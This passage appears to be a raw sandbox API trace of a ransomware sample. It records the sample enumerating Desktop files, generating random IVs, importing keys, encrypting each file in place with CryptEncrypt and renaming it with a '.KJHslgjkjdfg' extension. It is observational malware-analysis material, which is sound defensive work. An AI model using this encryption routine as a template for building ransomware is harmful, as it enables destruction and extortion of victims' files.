lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x36e4, lpOverlapped=0x0) returned 1 [0144.128] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x36f0, dwBufLen=0x36f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x36f0) returned 1 [0144.128] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.128] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x36f0, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x36f0, lpOverlapped=0x0) returned 1 [0144.128] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.128] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x37c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.128] SetEndOfFile (hFile=0xb8) returned 1 [0144.130] GetProcessHeap () returned 0x990000 [0144.130] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.130] GetProcessHeap () returned 0x990000 [0144.130] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.130] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\oGRTTkwYTk9E.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ogrttkwytk9e.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\oGRTTkwYTk9E.flv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ogrttkwytk9e.flv.kjhslgjkjdfg")) returned 1 [0144.132] CloseHandle (hObject=0xb8) returned 1 [0144.132] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794da4e0, ftCreationTime.dwHighDateTime=0x1d5d98f, ftLastAccessTime.dwLowDateTime=0x28189540, ftLastAccessTime.dwHighDateTime=0x1d5e1a9, ftLastWriteTime.dwLowDateTime=0x28189540, ftLastWriteTime.dwHighDateTime=0x1d5e1a9, nFileSizeHigh=0x0, nFileSizeLow=0x46b6, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="QOWg8dc8KgeTxsTE1t_P.jpg", cAlternateFileName="QOWG8D~1.JPG")) returned 1 [0144.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\QOWg8dc8KgeTxsTE1t_P.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\qowg8dc8kgetxste1t_p.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.133] GetProcessHeap () returned 0x990000 [0144.133] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.133] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.133] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.133] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0xa, lpOverlapped=0x0) returned 1 [0144.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.135] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.135] GetProcessHeap () returned 0x990000 [0144.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.135] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50) returned 1 [0144.135] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.136] WriteFile (in: hFile=0xb8, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfa08*=0x50, lpOverlapped=0x0) returned 1 [0144.136] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.136] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.136] WriteFile (in: hFile=0xb8, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.136] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.136] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.136] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.136] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.136] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x46b6, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x46b6, lpOverlapped=0x0) returned 1 [0144.137] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x46c0, dwBufLen=0x46c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x46c0) returned 1 [0144.137] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.137] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x46c0, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x46c0, lpOverlapped=0x0) returned 1 [0144.138] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.138] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x47a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.138] SetEndOfFile (hFile=0xb8) returned 1 [0144.141] GetProcessHeap () returned 0x990000 [0144.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.141] GetProcessHeap () returned 0x990000 [0144.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.141] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\QOWg8dc8KgeTxsTE1t_P.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\qowg8dc8kgetxste1t_p.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\QOWg8dc8KgeTxsTE1t_P.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\qowg8dc8kgetxste1t_p.jpg.kjhslgjkjdfg")) returned 1 [0144.141] CloseHandle (hObject=0xb8) returned 1 [0144.141] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a5e98d0, ftCreationTime.dwHighDateTime=0x1d5d82d, ftLastAccessTime.dwLowDateTime=0x7156f880, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x7156f880, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0xe0a6, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="r9ZzKJ9.jpg", cAlternateFileName="")) returned 1 [0144.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\r9ZzKJ9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\r9zzkj9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.142] GetProcessHeap () returned 0x990000 [0144.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.142] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.142] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.142] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0xa, lpOverlapped=0x0) returned 1 [0144.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.144] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.144] GetProcessHeap () returned 0x990000 [0144.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.144] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40) returned 1 [0144.144] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.144] WriteFile (in: hFile=0xb8, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfa08*=0x40, lpOverlapped=0x0) returned 1 [0144.144] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.144] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.145] WriteFile (in: hFile=0xb8, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.145] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.145] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.145] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.145] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.145] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.145] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe0a6, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0xe0a6, lpOverlapped=0x0) returned 1 [0144.146] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0xe0b0, dwBufLen=0xe0b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0xe0b0) returned 1 [0144.149] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.150] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe0b0, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0xe0b0, lpOverlapped=0x0) returned 1 [0144.153] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.153] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0xe184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.153] SetEndOfFile (hFile=0xb8) returned 1 [0144.154] GetProcessHeap () returned 0x990000 [0144.154] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.154] GetProcessHeap () returned 0x990000 [0144.154] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.154] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\r9ZzKJ9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\r9zzkj9.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\r9ZzKJ9.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\r9zzkj9.jpg.kjhslgjkjdfg")) returned 1 [0144.155] CloseHandle (hObject=0xb8) returned 1 [0144.155] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4a2f630, ftCreationTime.dwHighDateTime=0x1d5dcf1, ftLastAccessTime.dwLowDateTime=0x831f5780, ftLastAccessTime.dwHighDateTime=0x1d5d9f2, ftLastWriteTime.dwLowDateTime=0x831f5780, ftLastWriteTime.dwHighDateTime=0x1d5d9f2, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="RKcgN-kTfS.png", cAlternateFileName="RKCGN-~1.PNG")) returned 1 [0144.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\RKcgN-kTfS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\rkcgn-ktfs.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.155] GetProcessHeap () returned 0x990000 [0144.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.156] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.156] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.156] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.157] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.157] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.157] GetProcessHeap () returned 0x990000 [0144.157] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.157] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40) returned 1 [0144.157] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.157] WriteFile (in: hFile=0xb8, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfa08*=0x40, lpOverlapped=0x0) returned 1 [0144.157] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.157] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.157] WriteFile (in: hFile=0xb8, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.157] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.158] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.158] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.158] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.158] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.158] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb8c, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0xb8c, lpOverlapped=0x0) returned 1 [0144.158] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0xb90, dwBufLen=0xb90 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0xb90) returned 1 [0144.158] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.158] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0xb90, lpOverlapped=0x0) returned 1 [0144.158] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.158] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.158] SetEndOfFile (hFile=0xb8) returned 1 [0144.160] GetProcessHeap () returned 0x990000 [0144.160] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.160] GetProcessHeap () returned 0x990000 [0144.160] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\RKcgN-kTfS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\rkcgn-ktfs.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\RKcgN-kTfS.png.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\rkcgn-ktfs.png.kjhslgjkjdfg")) returned 1 [0144.165] CloseHandle (hObject=0xb8) returned 1 [0144.165] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94ad04b0, ftCreationTime.dwHighDateTime=0x1d5e493, ftLastAccessTime.dwLowDateTime=0x74d9f9f0, ftLastAccessTime.dwHighDateTime=0x1d5daf6, ftLastWriteTime.dwLowDateTime=0x74d9f9f0, ftLastWriteTime.dwHighDateTime=0x1d5daf6, nFileSizeHigh=0x0, nFileSizeLow=0x11312, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="V-z65G3mrfufY.mp3", cAlternateFileName="V-Z65G~1.MP3")) returned 1 [0144.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\V-z65G3mrfufY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\v-z65g3mrfufy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.166] GetProcessHeap () returned 0x990000 [0144.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.166] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.166] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.166] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0xe, lpOverlapped=0x0) returned 1 [0144.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.169] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.169] GetProcessHeap () returned 0x990000 [0144.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.169] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df9f0*=0x40) returned 1 [0144.169] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.169] WriteFile (in: hFile=0xb8, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfa08*=0x40, lpOverlapped=0x0) returned 1 [0144.169] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.169] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.169] WriteFile (in: hFile=0xb8, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.169] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.169] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.170] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.170] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.170] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11312, lpNumberOfBytesRead=0x29dfa14, 